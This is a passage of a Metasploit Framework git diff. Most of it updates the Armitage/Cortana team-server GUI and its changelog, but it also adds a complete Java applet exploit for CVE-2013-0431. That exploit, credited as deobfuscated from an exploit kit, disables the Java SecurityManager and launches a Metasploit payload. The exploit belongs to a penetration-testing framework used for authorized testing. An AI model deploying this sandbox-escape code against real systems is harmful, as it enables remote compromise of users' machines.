(text.lastIndexOf(" ") != -1) { + word = text.substring(text.lastIndexOf(" ") + 1); + pre = text.substring(0, text.lastIndexOf(" ") + 1); + } + else { + word = text; + pre = ""; + } + + while (users.hasNext()) { + String user = users.next() + ""; + if (user.startsWith(word)) { + options.add(pre + user); + } + } + + return options; + } + catch (IOException ioex) { + ioex.printStackTrace(); + } + return null; + } +} diff --git a/external/source/armitage/src/cortana/data/Sessions.java b/external/source/armitage/src/cortana/data/Sessions.java index cedac86993..6b4da2455d 100644 --- a/external/source/armitage/src/cortana/data/Sessions.java +++ b/external/source/armitage/src/cortana/data/Sessions.java @@ -130,6 +130,10 @@ public class Sessions extends ManagedData { } } + /* calculate the differences and fire some events based on them */ + Set newSessions = DataUtils.difference(after, before); + fireSessionEvents("session_open", newSessions.iterator(), dataz); + /* calculate sync events and fix the nonsync set */ Set newsync = DataUtils.intersection(syncz, nonsync); fireSessionEvents("session_sync", newsync.iterator(), dataz); @@ -137,11 +141,9 @@ public class Sessions extends ManagedData { /* update our list of non-synced sessions */ nonsync.removeAll(syncz); - /* calculate the differences and fire some events based on them */ - Set newSessions = DataUtils.difference(after, before); - fireSessionEvents("session_open", newSessions.iterator(), dataz); - - newSessions.retainAll(syncz); + /* these are sessions that are new and sync'd -- fire events for them... */ + newSessions.removeAll(newsync); /* we already fired events for these */ + newSessions.retainAll(syncz); /* keep anything that is synced */ fireSessionEvents("session_sync", newSessions.iterator(), dataz); Set droppedSessions = DataUtils.difference(before, after); diff --git a/external/source/armitage/src/cortana/gui/UIBridge.java b/external/source/armitage/src/cortana/gui/UIBridge.java index d4def58a71..42fe117687 100644 --- a/external/source/armitage/src/cortana/gui/UIBridge.java +++ b/external/source/armitage/src/cortana/gui/UIBridge.java @@ -30,11 +30,16 @@ public class UIBridge implements Loadable, Function { if (name.equals("&later")) { final SleepClosure f = BridgeUtilities.getFunction(args, script); final Stack argz = EventManager.shallowCopy(args); - SwingUtilities.invokeLater(new Runnable() { - public void run() { - SleepUtils.runCode(f, "laterz", null, argz); - } - }); + if (SwingUtilities.isEventDispatchThread()) { + SleepUtils.runCode(f, "laterz", null, argz); + } + else { + SwingUtilities.invokeLater(new Runnable() { + public void run() { + SleepUtils.runCode(f, "laterz", null, argz); + } + }); + } } return SleepUtils.getEmptyScalar(); diff --git a/external/source/armitage/src/cortana/metasploit/ShellSession.java b/external/source/armitage/src/cortana/metasploit/ShellSession.java index f79f752511..4f3207680d 100644 --- a/external/source/armitage/src/cortana/metasploit/ShellSession.java +++ b/external/source/armitage/src/cortana/metasploit/ShellSession.java @@ -75,7 +75,8 @@ public class ShellSession implements Runnable { /* loop forever waiting for response to come back. If session is dead then this loop will break with an exception */ - while (true) { + long start = System.currentTimeMillis(); + while ((System.currentTimeMillis() - start) < 60000) { response = readResponse(); String data = (response.get("data") + ""); @@ -95,6 +96,7 @@ public class ShellSession implements Runnable { Thread.sleep(100); } + System.err.println(session + " -> " + c.text + " (took longer than anticipated, dropping: " + (System.currentTimeMillis() - start) + ")"); } catch (Exception ex) { System.err.println(session + " -> " + c.text + " ( " + response + ")"); diff --git a/external/source/armitage/src/msf/DatabaseImpl.java b/external/source/armitage/src/msf/DatabaseImpl.java index ff00d4d877..ee58207c2e 100644 --- a/external/source/armitage/src/msf/DatabaseImpl.java +++ b/external/source/armitage/src/msf/DatabaseImpl.java @@ -310,13 +310,13 @@ public class DatabaseImpl implements RpcConnection { if (hFilter.indexOf("sessions.") >= 0) tables.add("sessions"); - temp.put("db.hosts", "SELECT DISTINCT hosts.* FROM " + join(tables, ", ") + " WHERE hosts.workspace_id = " + workspaceid + " AND " + hFilter + " ORDER BY hosts.id ASC LIMIT " + limit1 + " OFFSET " + (limit1 * hindex)); + temp.put("db.hosts", "SELECT DISTINCT hosts.id, hosts.updated_at, hosts.state, hosts.mac, hosts.purpose, hosts.os_flavor, hosts.os_name, hosts.address, hosts.os_sp FROM " + join(tables, ", ") + " WHERE hosts.workspace_id = " + workspaceid + " AND " + hFilter + " ORDER BY hosts.id ASC LIMIT " + limit1 + " OFFSET " + (limit1 * hindex)); } else { - temp.put("db.hosts", "SELECT DISTINCT hosts.* FROM hosts WHERE hosts.workspace_id = " + workspaceid + " ORDER BY hosts.id ASC LIMIT " + limit1 + " OFFSET " + (hindex * limit1)); + temp.put("db.hosts", "SELECT DISTINCT hosts.id, hosts.updated_at, hosts.state, hosts.mac, hosts.purpose, hosts.os_flavor, hosts.os_name, hosts.address, hosts.os_sp FROM hosts WHERE hosts.workspace_id = " + workspaceid + " ORDER BY hosts.id ASC LIMIT " + limit1 + " OFFSET " + (hindex * limit1)); } - temp.put("db.services", "SELECT DISTINCT services.*, hosts.address as host FROM services, (" + temp.get("db.hosts") + ") as hosts WHERE hosts.id = services.host_id AND services.state = 'open' ORDER BY services.id ASC LIMIT " + limit2 + " OFFSET " + (limit2 * sindex)); + temp.put("db.services", "SELECT DISTINCT services.id, services.name, services.port, services.proto, services.info, services.updated_at, hosts.address as host FROM services, (" + temp.get("db.hosts") + ") as hosts WHERE hosts.id = services.host_id AND services.state = 'open' ORDER BY services.id ASC LIMIT " + limit2 + " OFFSET " + (limit2 * sindex)); temp.put("db.loots", "SELECT DISTINCT loots.*, hosts.address as host FROM loots, hosts WHERE hosts.id = loots.host_id AND hosts.workspace_id = " + workspaceid); temp.put("db.workspaces", "SELECT DISTINCT * FROM workspaces"); temp.put("db.notes", "SELECT DISTINCT notes.*, hosts.address as host FROM notes, hosts WHERE hosts.id = notes.host_id AND hosts.workspace_id = " + workspaceid); @@ -412,6 +412,10 @@ public class DatabaseImpl implements RpcConnection { return new HashMap(); } else if (methodName.equals("db.clear")) { + /* clear our local cache of labels */ + labels = new HashMap(); + + /* clear the database */ executeUpdate( "BEGIN;" + "DELETE FROM hosts;" + diff --git a/external/source/armitage/src/msf/MeterpreterSession.java b/external/source/armitage/src/msf/MeterpreterSession.java index 2f42fc09d9..fb91d6ab9e 100644 --- a/external/source/armitage/src/msf/MeterpreterSession.java +++ b/external/source/armitage/src/msf/MeterpreterSession.java @@ -14,7 +14,7 @@ public class MeterpreterSession implements Runnable { protected String session; protected boolean teammode; - public static long DEFAULT_WAIT = 12000; + public static long DEFAULT_WAIT = 120000; private static class Command { public Object token; diff --git a/external/source/armitage/src/msf/RpcAsync.java b/external/source/armitage/src/msf/RpcAsync.java index c7663ddbcd..fe0daf7a4e 100644 --- a/external/source/armitage/src/msf/RpcAsync.java +++ b/external/source/armitage/src/msf/RpcAsync.java @@ -32,7 +32,7 @@ public class RpcAsync implements RpcConnection, Async { if (methodName.equals("module.info") || methodName.equals("module.options") || methodName.equals("module.compatible_payloads")) { StringBuilder keysb = new StringBuilder(methodName); - for(int i = 1; i < params.length; i++) + for(int i = 0; i < params.length; i++) keysb.append(params[i].toString()); String key = keysb.toString(); diff --git a/external/source/armitage/src/msf/RpcConnectionImpl.java b/external/source/armitage/src/msf/RpcConnectionImpl.java index f7ba43d048..426cb079ae 100644 --- a/external/source/armitage/src/msf/RpcConnectionImpl.java +++ b/external/source/armitage/src/msf/RpcConnectionImpl.java @@ -10,6 +10,7 @@ import javax.xml.transform.*; import javax.xml.transform.dom.*; import javax.xml.transform.stream.*; import org.w3c.dom.*; +import armitage.ArmitageBuffer; /** * This is a modification of msfgui/RpcConnection.java by scriptjunkie. Taken from @@ -84,12 +85,56 @@ public abstract class RpcConnectionImpl implements RpcConnection, Async { } protected HashMap locks = new HashMap(); + protected String address = ""; + protected HashMap buffers = new HashMap(); + + /* help implement our remote buffer API for PQS primitives */ + public ArmitageBuffer getABuffer(String key) { + synchronized (buffers) { + ArmitageBuffer buffer; + if (buffers.containsKey(key)) { + buffer = (ArmitageBuffer)buffers.get(key); + } + else { + buffer = new ArmitageBuffer(16384); + buffers.put(key, buffer); + } + return buffer; + } + } + + public String getLocalAddress() { + return address; + } /** Adds token, runs command, and notifies logger on call and return */ public Object execute(String methodName, Object[] params) throws IOException { if (database != null && "db.".equals(methodName.substring(0, 3))) { return database.execute(methodName, params); } + else if (methodName.equals("armitage.ping")) { + try { + long time = System.currentTimeMillis() - Long.parseLong(params[0] + ""); + + HashMap res = new HashMap(); + res.put("result", time + ""); + return res; + } + catch (Exception ex) { + HashMap res = new HashMap(); + res.put("result", "0"); + return res; + } + } + else if (methodName.equals("armitage.my_ip")) { + HashMap res = new HashMap(); + res.put("result", address); + return res; + } + else if (methodName.equals("armitage.set_ip")) { + address = params[0] + ""; + return new HashMap(); + } else if (methodName.equals("armitage.lock")) { if (locks.containsKey(params[0] + "")) { Map res = new HashMap(); @@ -105,6 +150,23 @@ public abstract class RpcConnectionImpl implements RpcConnection, Async { locks.remove(params[0] + ""); return new HashMap(); } + else if (methodName.equals("armitage.publish")) { + ArmitageBuffer buffer = getABuffer(params[0] + ""); + buffer.put(params[1] + ""); + return new HashMap(); + } + else if (methodName.equals("armitage.query")) { + ArmitageBuffer buffer = getABuffer(params[0] + ""); + String data = (String)buffer.get(params[1] + ""); + HashMap temp = new HashMap(); + temp.put("data", data); + return temp; + } + else if (methodName.equals("armitage.reset")) { + ArmitageBuffer buffer = getABuffer(params[0] + ""); + buffer.reset(); + return new HashMap(); + } else if (hooks.containsKey(methodName)) { RpcConnection con = (RpcConnection)hooks.get(methodName); return con.execute(methodName, params); diff --git a/external/source/armitage/src/msf/RpcQueue.java b/external/source/armitage/src/msf/RpcQueue.java index ba657c2671..b56d2a2135 100644 --- a/external/source/armitage/src/msf/RpcQueue.java +++ b/external/source/armitage/src/msf/RpcQueue.java @@ -66,7 +66,7 @@ public class RpcQueue implements Runnable { Thread.sleep(50); } else { - Thread.sleep(500); + Thread.sleep(200); } } } diff --git a/external/source/armitage/src/table/NetworkTable.java b/external/source/armitage/src/table/NetworkTable.java index 2d7590db0e..c89bd97dbb 100644 --- a/external/source/armitage/src/table/NetworkTable.java +++ b/external/source/armitage/src/table/NetworkTable.java @@ -1,11 +1,11 @@ package table; -import javax.swing.*; -import javax.swing.event.*; +import javax.swing.*; +import javax.swing.event.*; import javax.swing.border.*; import javax.swing.table.*; -import java.awt.*; +import java.awt.*; import java.awt.event.*; import java.awt.image.*; @@ -92,7 +92,7 @@ public class NetworkTable extends JComponent implements ActionListener { table.getColumn("Description").setPreferredWidth(500); final TableCellRenderer parent = table.getDefaultRenderer(Object.class); - table.setDefaultRenderer(Object.class, new TableCellRenderer() { + final TableCellRenderer phear = new TableCellRenderer() { public Component getTableCellRendererComponent(JTable table, Object value, boolean isSelected, boolean hasFocus, int row, int col) { JLabel component = (JLabel)parent.getTableCellRendererComponent(table, value, isSelected, false, row, col); @@ -111,9 +111,15 @@ public class NetworkTable extends JComponent implements ActionListener { if (tip.length() > 0) { component.setToolTipText(tip); } + return component; } - }); + }; + + table.getColumn("Address").setCellRenderer(phear); + table.getColumn("Label").setCellRenderer(phear); + table.getColumn("Description").setCellRenderer(phear); + table.getColumn("Pivot").setCellRenderer(phear); table.getColumn(" ").setCellRenderer(new TableCellRenderer() { public Component getTableCellRendererComponent(JTable table, Object value, boolean isSelected, boolean hasFocus, int row, int col) { diff --git a/external/source/armitage/src/ui/ATable.java b/external/source/armitage/src/ui/ATable.java index ce80216dbd..6b9eb9b140 100644 --- a/external/source/armitage/src/ui/ATable.java +++ b/external/source/armitage/src/ui/ATable.java @@ -10,8 +10,48 @@ import table.*; import java.util.*; public class ATable extends JTable { + public static final String indicator = " \u271A"; + protected boolean alternateBackground = false; + protected int[] selected = null; + + /* call this function to store selections */ + public void markSelections() { + selected = getSelectedRows(); + } + + public void fixSelection() { + if (selected.length == 0) + return; + + getSelectionModel().setValueIsAdjusting(true); + + int rowcount = getModel().getRowCount(); + + for (int x = 0; x < selected.length; x++) { + if (selected[x] < rowcount) { + getSelectionModel().addSelectionInterval(selected[x], selected[x]); + } + } + + getSelectionModel().setValueIsAdjusting(false); + } + + /* call this function to restore selections after a table update */ + public void restoreSelections() { + if (!SwingUtilities.isEventDispatchThread()) { + SwingUtilities.invokeLater(new Runnable() { + public void run() { + fixSelection(); + } + }); + } + else { + fixSelection(); + } + } + public static TableCellRenderer getDefaultTableRenderer(final JTable table, final TableModel model) { final Set specialitems = new HashSet(); specialitems.add("Wordlist"); @@ -39,7 +79,7 @@ public class ATable extends JTable { String content = (value != null ? value : "") + ""; if (specialitems.contains(content) || content.indexOf("FILE")!= -1) { - content = content + " \u271A"; + content = content + indicator; } JComponent c = (JComponent)render.getTableCellRendererComponent(table, content, isSelected, false, row, column); @@ -117,6 +157,47 @@ public class ATable extends JTable { }; } + public static TableCellRenderer getTimeTableRenderer() { + return new TableCellRenderer() { + public Component getTableCellRendererComponent(JTable table, Object value, boolean isSelected, boolean hasFocus, int row, int column) { + TableCellRenderer render = table.getDefaultRenderer(String.class); + + JComponent c = (JComponent)render.getTableCellRendererComponent(table, "", isSelected, false, row, column); + + try { + long size = Long.parseLong(value + ""); + String units = "ms"; + + if (size > 1000) { + size = size / 1000; + units = "s"; + } + else { + ((JLabel)c).setText(size + units); + return c; + } + + if (size > 60) { + size = size / 60; + units = "m"; + } + + if (size > 60) { + size = size / 60; + units = "h"; + } + + ((JLabel)c).setText(size + units); + } + catch (Exception ex) { + + } + + return c; + } + }; + } + public void adjust() { setShowGrid(false); setIntercellSpacing(new Dimension(0, 0)); diff --git a/external/source/armitage/src/ui/MultiFrame.java b/external/source/armitage/src/ui/MultiFrame.java new file mode 100644 index 0000000000..ba994e940e --- /dev/null +++ b/external/source/armitage/src/ui/MultiFrame.java @@ -0,0 +1,247 @@ +package ui; + +import javax.swing.*; +import javax.swing.event.*; + +import java.awt.*; +import java.awt.event.*; + +import java.util.*; + +import armitage.ArmitageApplication; +import msf.*; + +/* A class to host multiple Armitage instances in one frame. Srsly */ +public class MultiFrame extends JFrame implements KeyEventDispatcher { + protected JToolBar toolbar; + protected JPanel content; + protected CardLayout cards; + protected LinkedList buttons; + protected Properties prefs; + + private static class ArmitageInstance { + public ArmitageApplication app; + public JToggleButton button; + public RpcConnection client; + } + + public void setPreferences(Properties prefs) { + this.prefs = prefs; + } + + public Properties getPreferences() { + return prefs; + } + + public Map getClients() { + synchronized (buttons) { + Map r = new HashMap(); + + Iterator i = buttons.iterator(); + while (i.hasNext()) { + ArmitageInstance temp = (ArmitageInstance)i.next(); + r.put(temp.button.getText(), temp.client); + } + return r; + } + } + + public void setTitle(ArmitageApplication app, String title) { + if (active == app) + setTitle(title); + } + + protected ArmitageApplication active; + + /* is localhost running? */ + public boolean checkLocal() { + synchronized (buttons) { + Iterator i = buttons.iterator(); + while (i.hasNext()) { + ArmitageInstance temp = (ArmitageInstance)i.next(); + if ("localhost".equals(temp.button.getText())) { + return true; + } + } + return false; + } + } + + public boolean dispatchKeyEvent(KeyEvent ev) { + if (active != null) { + return active.getBindings().dispatchKeyEvent(ev); + } + return false; + } + + public static final void setupLookAndFeel() { + try { + for (UIManager.LookAndFeelInfo info : UIManager.getInstalledLookAndFeels()) { + if ("Nimbus".equals(info.getName())) { + UIManager.setLookAndFeel(info.getClassName()); + break; + } + } + } + catch (Exception e) { + } + } + + public void closeConnect() { + synchronized (buttons) { + if (buttons.size() == 0) { + System.exit(0); + } + } + } + + public void quit() { + synchronized (buttons) { + ArmitageInstance temp = null; + content.remove(active); + Iterator i = buttons.iterator(); + while (i.hasNext()) { + temp = (ArmitageInstance)i.next(); + if (temp.app == active) { + toolbar.remove(temp.button); + i.remove(); + break; + } + } + + if (buttons.size() == 0) { + System.exit(0); + } + else if (buttons.size() == 1) { + remove(toolbar); + validate(); + } + + if (i.hasNext()) { + temp = (ArmitageInstance)i.next(); + } + else { + temp = (ArmitageInstance)buttons.getFirst(); + } + + set(temp.button); + } + } + + public MultiFrame() { + super(""); + + setLayout(new BorderLayout()); + + /* setup our toolbar */ + toolbar = new JToolBar(); + + /* content area */ + content = new JPanel(); + cards = new CardLayout(); + content.setLayout(cards); + + /* setup our stuff */ + add(content, BorderLayout.CENTER); + + /* buttons?!? :) */ + buttons = new LinkedList(); + + /* do this ... */ + setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); + + /* some basic setup */ + setSize(800, 600); + setExtendedState(JFrame.MAXIMIZED_BOTH); + + /* all your keyboard shortcuts are belong to me */ + KeyboardFocusManager.getCurrentKeyboardFocusManager().addKeyEventDispatcher(this); + } + + protected void set(JToggleButton button) { + synchronized (buttons) { + /* set all buttons to the right state */ + Iterator i = buttons.iterator(); + while (i.hasNext()) { + ArmitageInstance temp = (ArmitageInstance)i.next(); + if (temp.button.getText().equals(button.getText())) { + temp.button.setSelected(true); + active = temp.app; + setTitle(active.getTitle()); + } + else { + temp.button.setSelected(false); + } + } + + /* show our cards? */ + cards.show(content, button.getText()); + active.touch(); + } + } + + public void addButton(String title, final ArmitageApplication component, RpcConnection conn) { + synchronized (buttons) { + final ArmitageInstance a = new ArmitageInstance(); + a.button = new JToggleButton(title); + a.button.setToolTipText(title); + a.app = component; + a.client = conn; + + a.button.addActionListener(new ActionListener() { + public void actionPerformed(ActionEvent ev) { + set((JToggleButton)ev.getSource()); + } + }); + + a.button.addMouseListener(new MouseAdapter() { + public void check(MouseEvent ev) { + if (ev.isPopupTrigger()) { + final JToggleButton source = a.button; + JPopupMenu popup = new JPopupMenu(); + JMenuItem rename = new JMenuItem("Rename"); + rename.addActionListener(new ActionListener() { + public void actionPerformed(ActionEvent ev) { + String name = JOptionPane.showInputDialog("Rename to?", source.getText()); + if (name != null) { + content.remove(component); + content.add(component, name); + source.setText(name); + set(source); + } + } + }); + popup.add(rename); + popup.show((JComponent)ev.getSource(), ev.getX(), ev.getY()); + ev.consume(); + } + } + + public void mouseClicked(MouseEvent ev) { + check(ev); + } + + public void mousePressed(MouseEvent ev) { + check(ev); + } + + public void mouseReleased(MouseEvent ev) { + check(ev); + } + }); + + toolbar.add(a.button); + content.add(component, title); + buttons.add(a); + set(a.button); + + if (buttons.size() == 1) { + show(); + } + else if (buttons.size() == 2) { + add(toolbar, BorderLayout.SOUTH); + } + validate(); + } + } +} diff --git a/external/source/armitage/whatsnew.txt b/external/source/armitage/whatsnew.txt index c1e03e579b..01a4364bfc 100644 --- a/external/source/armitage/whatsnew.txt +++ b/external/source/armitage/whatsnew.txt @@ -1,6 +1,58 @@ Armitage Changelog ================== +6 Mar 13 (tested against msf ca43900a7) +-------- +- Active console now gets higher priority when polling msf for output +- Improved team server responsiveness in high latency situations by + creating additional connections to server to balance messages over +- Preferences are now shared among each Armitage connection. + +6 Mar 13 (2000h) +-------- +- Fixed issue with additional team server connections reporting wrong + application and receiving a summary rejection by the team server. + +Cortana Updates (for scripters) +-------- +- Added a &publish, &query, &subscribe API to allow inter-script + communication across the team server. +- Added &table_update to set the contents of a table tab without + disturbing the highlighted rows. +- Added an exec_error event. Fired when &m_exec or &m_exec_local fail + due to an error reported by meterpreter. +- Fixed a bug that sometimes caused session_sync to fire twice (boo!) +- Added a 60s timeout to &s_cmd commands. Cortana will give a shell + command 60s to execute. If it doesn't finish in that time, Cortana + will release the lock on the shell so the user can control it. + (ideally, this shouldn't happen... this is a safety mechanism) +- Changed Meterpreter command timeout to 2m from 12s. This is because + https meterpreter might not checkin for up to 60s, if it's been + idle for a long time. This will make &m_cmd less likely to timeout + +12 Feb 13 (tested against msf 16438) +--------- +- Fixed a corner case preventing the display of removed host labels + when connected to a team server. +- Fixed RPC call cache corruption in team server mode. This bug could + lead to some exploits defaulting to a shell payload when meterpreter + was a possibility. +- Slight optimization to some DB queries. I no longer pull unused + fields making the query marginally faster. Team server is more + efficient too as changes to unused fields won't force data (re)sync. +- Hosts -> Clear Database now clears host labels too. +- Added the ability to manage multiple team server instances through + Armitage. Go to Armitage -> New Connection to connect to another + server. A button bar will appear that allows you to switch active + Armitage connections. + - Credentials available across instances are pooled when using + the [host] -> Login menu and the credential helper. +- Rewrote the event log management code in the team server +- Added nickname tab completion to event log. I feel like I'm writing + an IRC client again. +- Hosts -> Clear Database now asks you to confirm the action. +- Hosts -> Import Hosts announces successful import to event log again. + 23 Jan 13 (tested against msf 16351) --------- - Added helpers to set EXE::Custom and EXE::Template options. diff --git a/external/source/exploits/cve-2013-0431/B.java b/external/source/exploits/cve-2013-0431/B.java new file mode 100755 index 0000000000..fec2767060 --- /dev/null +++ b/external/source/exploits/cve-2013-0431/B.java @@ -0,0 +1,19 @@ +import java.security.AccessController; +import java.security.PrivilegedExceptionAction; + +public class B + implements PrivilegedExceptionAction +{ + public B() + { + try + { + AccessController.doPrivileged(this); } catch (Exception e) { + } + } + + public Object run() { + System.setSecurityManager(null); + return new Object(); + } +} diff --git a/external/source/exploits/cve-2013-0431/Exploit.java b/external/source/exploits/cve-2013-0431/Exploit.java new file mode 100755 index 0000000000..2a399019f3 --- /dev/null +++ b/external/source/exploits/cve-2013-0431/Exploit.java @@ -0,0 +1,93 @@ +/* +* From Paunch with love (Java 1.7.0_11 Exploit) +* +* Deobfuscated from Cool EK by SecurityObscurity +* +* https://twitter.com/SecObscurity +*/ +import java.applet.Applet; +import com.sun.jmx.mbeanserver.Introspector; +import com.sun.jmx.mbeanserver.JmxMBeanServer; +import com.sun.jmx.mbeanserver.MBeanInstantiator; +import java.lang.invoke.MethodHandle; +import java.lang.invoke.MethodHandles.Lookup; +import java.lang.invoke.MethodType; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import javax.management.ReflectionException; +import java.io.*; +import metasploit.Payload; + +public class Exploit extends Applet +{ + + public void init() + { + + try + { + int length; + byte[] buffer = new byte[5000]; + ByteArrayOutputStream os = new ByteArrayOutputStream(); + + // read in the class file from the jar + InputStream is = getClass().getResourceAsStream("B.class"); + + // and write it out to the byte array stream + while( ( length = is.read( buffer ) ) > 0 ) + os.write( buffer, 0, length ); + + // convert it to a simple byte array + buffer = os.toByteArray(); + + Class class1 = gimmeClass("sun.org.mozilla.javascript.internal.Context"); + + Method method = getMethod(class1, "enter", true); + Object obj = method.invoke(null, new Object[0]); + Method method1 = getMethod(class1, "createClassLoader", false); + Object obj1 = method1.invoke(obj, new Object[1]); + + Class class2 = gimmeClass("sun.org.mozilla.javascript.internal.GeneratedClassLoader"); + Method method2 = getMethod(class2, "defineClass", false); + + Class my_class = (Class)method2.invoke(obj1, new Object[] { null, buffer }); + my_class.newInstance(); + + Payload.main(null); + + } + catch (Throwable localThrowable){} + + } + + + private Method getMethod(Class class1, String s, boolean flag) + { + try { + Method[] amethod = (Method[])Introspector.elementFromComplex(class1, "declaredMethods"); + Method[] amethod1 = amethod; + + for (int i = 0; i < amethod1.length; i++) { + Method method = amethod1[i]; + String s1 = method.getName(); + Class[] aclass = method.getParameterTypes(); + if ((s1 == s) && ((!flag) || (aclass.length == 0))) return method; + } + } catch (Exception localException) { } + + return null; + } + + private Class gimmeClass(String s) throws ReflectionException, ReflectiveOperationException + { + Object obj = null; + JmxMBeanServer jmxmbeanserver = (JmxMBeanServer)JmxMBeanServer.newMBeanServer("", null, null, true); + MBeanInstantiator mbeaninstantiator = jmxmbeanserver.getMBeanInstantiator(); + + Class class1 = Class.forName("com.sun.jmx.mbeanserver.MBeanInstantiator"); + Method method = class1.getMethod("findClass", new Class[] { String.class, ClassLoader.class }); + return (Class)method.invoke(mbeaninstantiator, new Object[] { s, obj }); + } + +} + diff --git a/external/source/exploits/cve-2013-0431/Makefile b/external/source/exploits/cve-2013-0431/Makefile new file mode 100644 index 0000000000..43045c9e5a --- /dev/null +++ b/external/source/exploits/cve-2013-0431/Makefile @@ -0,0 +1,22 @@ +# rt.jar must be in the classpath! + +CLASSES = \ + Exploit.java \ + B.java \ + Serializer.java + +.SUFFIXES: .java .class +.java.class: + javac -source 1.2 -target 1.2 -cp "../../../../data/java:." $*.java + +all: $(CLASSES:.java=.class) + +install: + java Serializer + mv Exploit.class ../../../../data/exploits/cve-2013-0431/ + mv B.class ../../../../data/exploits/cve-2013-0431/ + mv Exploit.ser ../../../../data/exploits/cve-2013-0431/ + +clean: + rm -rf *.class + rm -rf *.ser diff --git a/external/source/exploits/cve-2013-0431/Serializer.java b/external/source/exploits/cve-2013-0431/Serializer.java new file mode 100644 index 0000000000..2dc2517937 --- /dev/null +++ b/external/source/exploits/cve-2013-0431/Serializer.java @@ -0,0 +1,20 @@ +import java.io.*; + +public class Serializer { + + public static void main(String [ ] args) + { + try { + Exploit b=new Exploit(); // target Applet instance + ByteArrayOutputStream baos=new ByteArrayOutputStream(); + ObjectOutputStream oos=new ObjectOutputStream(baos); + oos.writeObject(b); + FileOutputStream fos=new FileOutputStream("Exploit.ser"); + fos.write(baos.toByteArray()); + fos.close(); + } catch (Exception ex) { + ex.printStackTrace(); + } + } + +} diff --git a/external/source/gui/msfguijava/src/msfgui/RpcConnection.java b/external/source/gui/msfguijava/src/msfgui/RpcConnection.java index b1b7d2c2ac..8b754c1871 100644 --- a/external/source/gui/msfguijava/src/msfgui/RpcConnection.java +++ b/external/source/gui/msfguijava/src/msfgui/RpcConnection.java @@ -260,7 +260,8 @@ public abstract class RpcConnection { // Don't fork cause we'll check if it dies String rpcType = "Basic"; java.util.List args = new java.util.ArrayList(java.util.Arrays.asList(new String[]{ - "msfrpcd","-f","-P",defaultPass,"-t","Msg","-U",defaultUser,"-a","127.0.0.1"})); + "msfrpcd","-f","-P",defaultPass,"-t","Msg","-U",defaultUser,"-a","127.0.0.1", + "-p",Integer.toString(defaultPort)})); if(!defaultSsl) args.add("-S"); if(disableDb) diff --git a/external/source/shellcode/windows/x86/src/block/block_reverse_http.asm b/external/source/shellcode/windows/x86/src/block/block_reverse_http.asm index 438738a99d..42c717622a 100644 --- a/external/source/shellcode/windows/x86/src/block/block_reverse_http.asm +++ b/external/source/shellcode/windows/x86/src/block/block_reverse_http.asm @@ -49,11 +49,12 @@ httpopenrequest: pop ecx xor edx, edx ; NULL push edx ; dwContext (NULL) - push (0x80000000 | 0x04000000 | 0x00200000 | 0x00000200) ; dwFlags + push (0x80000000 | 0x04000000 | 0x00200000 | 0x00000200 | 0x00400000) ; dwFlags ;0x80000000 | ; INTERNET_FLAG_RELOAD ;0x04000000 | ; INTERNET_NO_CACHE_WRITE ;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT - ;0x00000200 ; INTERNET_FLAG_NO_UI + ;0x00000200 | ; INTERNET_FLAG_NO_UI + ;0x00400000 ; INTERNET_FLAG_KEEP_CONNECTION push edx ; accept types push edx ; referrer push edx ; version diff --git a/lib/anemone/rex_http.rb b/lib/anemone/rex_http.rb index ce6a71a17f..f606f289fc 100644 --- a/lib/anemone/rex_http.rb +++ b/lib/anemone/rex_http.rb @@ -188,7 +188,9 @@ module Anemone context, url.scheme == "https", 'SSLv23', - @opts[:proxies] + @opts[:proxies], + @opts[:username], + @opts[:password] ) conn.set_config( diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/Gemfile b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/Gemfile deleted file mode 100755 index b72e01d066..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/Gemfile +++ /dev/null @@ -1,10 +0,0 @@ -source "http://rubygems.org" - -# Specify your gem's dependencies in metasploit_data_models.gemspec -gemspec - -group :test do - # rails is only used for testing with a dummy application in spec/dummy - gem 'rails' - gem 'rspec-rails' -end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/Rakefile b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/Rakefile deleted file mode 100755 index ccea92f08e..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/Rakefile +++ /dev/null @@ -1,7 +0,0 @@ -require 'bundler/gem_tasks' -require 'rspec/core/rake_task' - -RSpec::Core::RakeTask.new(:spec) - -task :default => :spec - diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/cred_file.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/cred_file.rb deleted file mode 100755 index f8bc29d84c..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/cred_file.rb +++ /dev/null @@ -1,8 +0,0 @@ -class Mdm::CredFile < ActiveRecord::Base - # - # Relations - # - belongs_to :workspace, :class_name => 'Mdm::Workspace' - - ActiveSupport.run_load_hooks(:mdm_cred_file, self) -end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/web_vuln.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/web_vuln.rb deleted file mode 100755 index 3d938d3ef9..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/web_vuln.rb +++ /dev/null @@ -1,16 +0,0 @@ -class Mdm::WebVuln < ActiveRecord::Base - # - # Relations - # - - belongs_to :web_site, :class_name => 'Mdm::WebSite' - - # - # Serializations - # - - serialize :params, MetasploitDataModels::Base64Serializer.new - - ActiveSupport.run_load_hooks(:mdm_web_vuln, self) -end - diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/lib/metasploit_data_models/base64_serializer.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/lib/metasploit_data_models/base64_serializer.rb deleted file mode 100755 index b209aa39cc..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/lib/metasploit_data_models/base64_serializer.rb +++ /dev/null @@ -1,35 +0,0 @@ -# 2012-04-23 -# -# Provides ActiveRecord 3.1x-friendly serialization for descendants of -# ActiveRecord::Base. Backwards compatible with older YAML methods and -# will fall back to string decoding in the worst case -# -# 